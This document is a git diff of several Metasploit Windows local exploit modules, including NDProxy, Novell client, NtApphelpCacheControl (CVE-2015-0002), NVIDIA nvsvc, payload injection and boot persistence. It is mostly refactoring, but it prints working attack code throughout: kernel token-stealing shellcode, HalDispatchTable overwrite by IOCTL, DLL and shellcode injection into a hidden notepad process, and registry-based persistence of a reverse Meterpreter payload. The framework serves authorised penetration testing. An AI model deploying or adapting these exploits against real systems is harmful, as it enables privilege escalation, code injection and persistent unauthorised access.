results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end - - return nil end def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax - tokenstealing = "\x52" # push edx # Save edx on the stack - tokenstealing << "\x53" # push ebx # Save ebx on the stack - tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD - tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS - tokenstealing << "\x8b\xc8" # mov ecx, eax - tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN - tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks - tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX - tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX - tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS - tokenstealing << "\x5b" # pop ebx # Restores ebx - tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! - - ring0_shellcode = restore_ptrs + tokenstealing - return ring0_shellcode + ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) + ring0_shellcode end def fill_memory(proc, address, length, content) - - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") - + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end @@ -183,95 +109,65 @@ class Metasploit3 < Msf::Exploit::Local result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end - return address + address end def create_proc - windir = expand_path("%windir%") + windir = session.sys.config.getenv('windir') cmd = "#{windir}\\System32\\notepad.exe" # run hidden begin - proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError # when running from the Adobe Reader sandbox: # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. return nil end - return proc.pid + proc.pid end def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") - kernel_info = find_sys_base(nil) - if kernel_info.nil? - vprint_error("Failed to disclose the Kernel module name") - return nil - end - vprint_good("Kernel module found: #{kernel_info[1]}") + hal_dispatch_table = find_haldispatchtable + return nil if hal_dispatch_table.nil? + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting a Kernel handle...") - kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - kernel32_handle = kernel32_handle['return'] - if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") - return nil - end - vprint_good("Kernel handle acquired") - - - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") - hal_dispatch_table = hal_dispatch_table['return'] - if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") - return nil - end - hal_dispatch_table -= kernel32_handle - hal_dispatch_table += kernel_info[0] - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") - - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll base address') return nil end hal_base = hal_info[0] - vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") - return addresses + vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses end - def check - vprint_status("Adding the railgun stuff...") - add_railgun_functions - - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/ return Exploit::CheckCode::Detected end - handle = open_device("\\\\.\\NDProxy") - if handle.nil? - return Exploit::CheckCode::Safe - end + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) + return Exploit::CheckCode::Safe if handle.nil? + session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] + os = sysinfo['OS'] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears @@ -284,31 +180,26 @@ class Metasploit3 < Msf::Exploit::Local else return Exploit::CheckCode::Safe end - end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - - if sysinfo["Architecture"] =~ /wow64/i - fail_with(Failure::NoTarget, "Running against WOW64 is not supported") - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] =~ /x64/ + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] + print_status('Detecting the target system...') + os = sysinfo['OS'] if os =~ /windows xp.*service pack 3/i my_target = targets[1] print_status("Running against #{my_target.name}") - elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) + elsif (os =~ /2003/) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") - elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") end @@ -317,100 +208,95 @@ class Metasploit3 < Msf::Exploit::Local end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\NDProxy") + print_status('Checking device...') + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") + fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found') else - print_good("\\\\.\\NDProxy found!") + print_good('\\\\.\\NDProxy found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.') else - print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x38 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x1 result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Storing the IO Control buffer on memory...") + print_status('Storing the IO Control buffer on memory...') buffer = "\x00" * 1024 - buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call - buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call + buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call + buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call buffer_addr = 0x0d0d0000 result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") + fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory') else print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x8fff23c8 # Values taken from the exploit in the wild, see references - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, 'The exploitation was not successful') end p = payload.encoded - print_good("Exploitation successful! Creating a new process and launching payload...") + print_good('Exploitation successful! Creating a new process and launching payload...') new_pid = create_proc if new_pid.nil? - print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") + print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...') return end - print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") + print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") if execute_shellcode(p, nil, new_pid) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end - - end - end - diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index a219d3905b..97b5f6d5b6 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,28 +66,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -163,10 +141,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index ac5f8f5407..ce5c2b73fc 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -62,28 +62,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -101,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local def find_sys_base(drvname) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*') addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) @@ -120,8 +98,8 @@ class Metasploit3 < Msf::Exploit::Local def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack @@ -147,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Local def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") @@ -219,10 +197,6 @@ class Metasploit3 < Msf::Exploit::Local def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb new file mode 100644 index 0000000000..929a52a6b0 --- /dev/null +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Exploit::EXE + include Msf::Post::File + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check', + 'Description' => %q{ + On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) + allows application compatibility data to be cached for quick reuse when new processes are + created. A normal user can query the cache but cannot add new cached entries as the + operation is restricted to administrators. This is checked in the function + AhcVerifyAdminContext. + + This function has a vulnerability where it doesn't correctly check the impersonation token + of the caller to determine if the user is an administrator. It reads the caller's + impersonation token using PsReferenceImpersonationToken and then does a comparison between + the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level + of the token so it's possible to get an identify token on your thread from a local system + process and bypass this check. + + This module currently only affects Windows 8 and Windows 8.1, and requires access to + C:\Windows\System\ComputerDefaults.exe (although this can be improved). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', + 'sinn3r' + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] + ], + 'DefaultTarget' => 0, + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2015-0002' ], + [ 'OSVEB', '116497' ], + [ 'EDB', '35661' ], + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] + ], + 'DisclosureDate' => 'Sep 30 2014' + })) + end + + def temp + @temp ||= get_env('TEMP').to_s + end + + def payload_filepath + @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll" + end + + def upload_payload_dll(payload_filepath) + payload = generate_payload_dll({:dll_exitprocess => true}) + begin + write_file(payload_filepath, payload) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with( + Failure::Unknown, + "Error uploading file #{payload_filepath}: #{e.class} #{e}" + ) + end + end + + def upload_payload + print_status("Payload DLL will be: #{payload_filepath}") + + # Upload the payload + upload_payload_dll(payload_filepath) + if !file?(payload_filepath) + fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") + end + end + + def inject_exploit(process) + lib_file_path = ::File.join( + Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll' + ) + + print_status("Creating thread") + exploit_mem, offset = inject_dll_into_process(process, lib_file_path) + var_mem = inject_into_process(process, payload_filepath) + process.thread.create(exploit_mem + offset, var_mem) + end + + def prep_exploit_host + process = nil + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + rescue Rex::Post::Meterpreter::RequestError + process = client.sys.process.open + rescue ::Exception => e + elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}") + end + process + end + + def check + if sysinfo['OS'] =~ /Windows 8/ + # Still an 0day, but since this check doesn't actually trigger the vulnerability + # so we should only flag this as CheckCode::Appears + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + if session.platform !~ /^x86\// + print_error("Sorry, this module currently only allows x86/win32 sessions.") + print_error("You will have to get a x86/win32 session first, and then you can") + print_error("select a x64 payload as this exploit's payload.") + return + end + + print_status("Uploading the payload DLL") + upload_payload + + proc = prep_exploit_host + if !proc + fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)") + end + + print_status("Injecting exploit into PID #{proc.pid}") + inject_exploit(proc) + end + + +end diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index 5e4c70798b..94683c99fa 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Local 'Author' => [ 'Peter Wintersmith', # Original exploit - 'Ben Campbell ', # Metasploit integration + 'Ben Campbell', # Metasploit integration ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', @@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo["OS"] if os =~ /windows/i svc = service_info 'nvsvc' - if svc and svc['Name'] =~ /NVIDIA/i - vprint_good("Found service '#{svc['Name']}'") + if svc and svc[:display] =~ /NVIDIA/i + vprint_good("Found service '#{svc[:display]}'") begin if is_running? @@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local end if sysinfo['Architecture'] =~ /WOW64/i - path = svc['Command'].gsub('"','').strip + path = svc[:path].gsub('"','').strip path.gsub!("system32","sysnative") else - path = svc['Command'].gsub('"','').strip + path = svc[:path].gsub('"','').strip end begin @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Launching notepad to host the exploit...") - windir = expand_path("%windir%") + windir = session.sys.config.getenv('windir') cmd = "#{windir}\\SysWOW64\\notepad.exe" process = client.sys.process.execute(cmd, nil, {'Hidden' => true}) host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 655e2ae244..75d3b8566b 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,6 +10,8 @@ require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Windows::Process + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection', @@ -52,13 +54,7 @@ class Metasploit3 < Msf::Exploit::Local return end - if @payload_arch.first =~ /64/ and client.platform =~ /x86/ - print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") - print_error("Migrate to an x64 process and try again.") - return false - else - inject_into_pid(pid) - end + inject_into_pid(pid) end # Figures out which PID to inject to @@ -83,8 +79,6 @@ class Metasploit3 < Msf::Exploit::Local return false end - pids = [] - procs.each do |p| found_pid = p['pid'] return true if found_pid == pid @@ -117,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local # Creates a temp notepad.exe to inject payload in to given the payload # Returns process PID def create_temp_proc() - windir = client.fs.file.expand_path("%windir%") + windir = client.sys.config.getenv('windir') # Select path of executable to run depending the architecture if @payload_arch.first== "x86" and client.platform =~ /x86/ cmd = "#{windir}\\System32\\notepad.exe" @@ -144,27 +138,8 @@ class Metasploit3 < Msf::Exploit::Local begin print_status("Preparing '#{@payload_name}' for PID #{pid}") - raw = payload.generate - - print_status("Opening process #{pid.to_s}") - host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - if not host_process - print_error("Unable to open #{pid.to_s}") - return - end - - print_status("Allocating memory in procees #{pid}") - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - # Ensure memory is set for execution - host_process.memory.protect(mem) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected payload in to process: #{pid}") - + raw = payload.encoded + execute_shellcode(raw, nil, pid) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to inject payload:") print_line(e.to_s) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 811b1190a3..1e948ac1f6 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -1,15 +1,20 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry @@ -19,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'Windows Manage Persistent Payload Installer', 'Description' => %q{ - This Module will create a boot persistent reverse Meterpreter session by + This Module will create a boot persistent reverse Meterpreter session by installing on the target host the payload as a script that will be executed at user logon or system startup depending on privilege and selected startup method. @@ -42,8 +47,8 @@ class Metasploit3 < Msf::Exploit::Local OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), + OptString.new('PATH',[false, 'Path to write payload']), ], self.class) - end # Exploit Method for when exploit command is issued @@ -58,49 +63,37 @@ class Metasploit3 < Msf::Exploit::Local exe = generate_payload_exe script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) - script_on_target = write_script_to_target(script,rexename) + script_on_target = write_script_to_target(script, rexename) - if script_on_target == nil - # exit the module because we failed to write the file on the target host. - return - end + # exit the module because we failed to write the file on the target host. + return unless script_on_target # Initial execution of script - if target_exec(script_on_target) == nil - # Exit if we where not able to run the payload. - return - end case datastore['STARTUP'] - when /USER/i - regwrite = write_to_reg("HKCU", script_on_target, reg_val) + when 'USER' # if we could not write the entry in the registy we exit the module. - if not regwrite - return - end - when /SYSTEM/i - regwrite = write_to_reg("HKLM", script_on_target, reg_val) + return unless write_to_reg("HKCU", script_on_target, reg_val) + when 'SYSTEM' # if we could not write the entry in the registy we exit the module. - if not regwrite - return - end + return unless write_to_reg("HKLM", script_on_target, reg_val) end clean_rc = log_file() - file_local_write(clean_rc,@clean_up_rc) + file_local_write(clean_rc, @clean_up_rc) print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, :via_payload => session.via_payload, :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc + :created_at => Time.now.utc, + :commands => @clean_up_rc } ) end @@ -115,9 +108,11 @@ class Metasploit3 < Msf::Exploit::Local # Create a directory for the logs if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory @@ -128,10 +123,11 @@ class Metasploit3 < Msf::Exploit::Local return logfile end - # Writes script to target host - def write_script_to_target(vbs,name) - tempdir = expand_path("%TEMP%") - if name == nil + # Writes script to target host and returns the pathname of the target file or nil if the + # file could not be written. + def write_script_to_target(vbs, name) + tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP') + unless name tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" @@ -139,6 +135,7 @@ class Metasploit3 < Msf::Exploit::Local begin write_file(tempvbs, vbs) print_good("Persistent Script written to #{tempvbs}") + tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators. @clean_up_rc << "rm #{tempvbs}\n" rescue print_error("Could not write the payload on the target hosts.") @@ -148,48 +145,39 @@ class Metasploit3 < Msf::Exploit::Local return tempvbs end - # Executes script on target and return the PID of the process + # Executes script on target and returns true if it was successfully started def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # error handling for process.execute() can throw a RequestError in send_request. begin - if datastore['EXE::Custom'].nil? + unless datastore['EXE::Custom'] 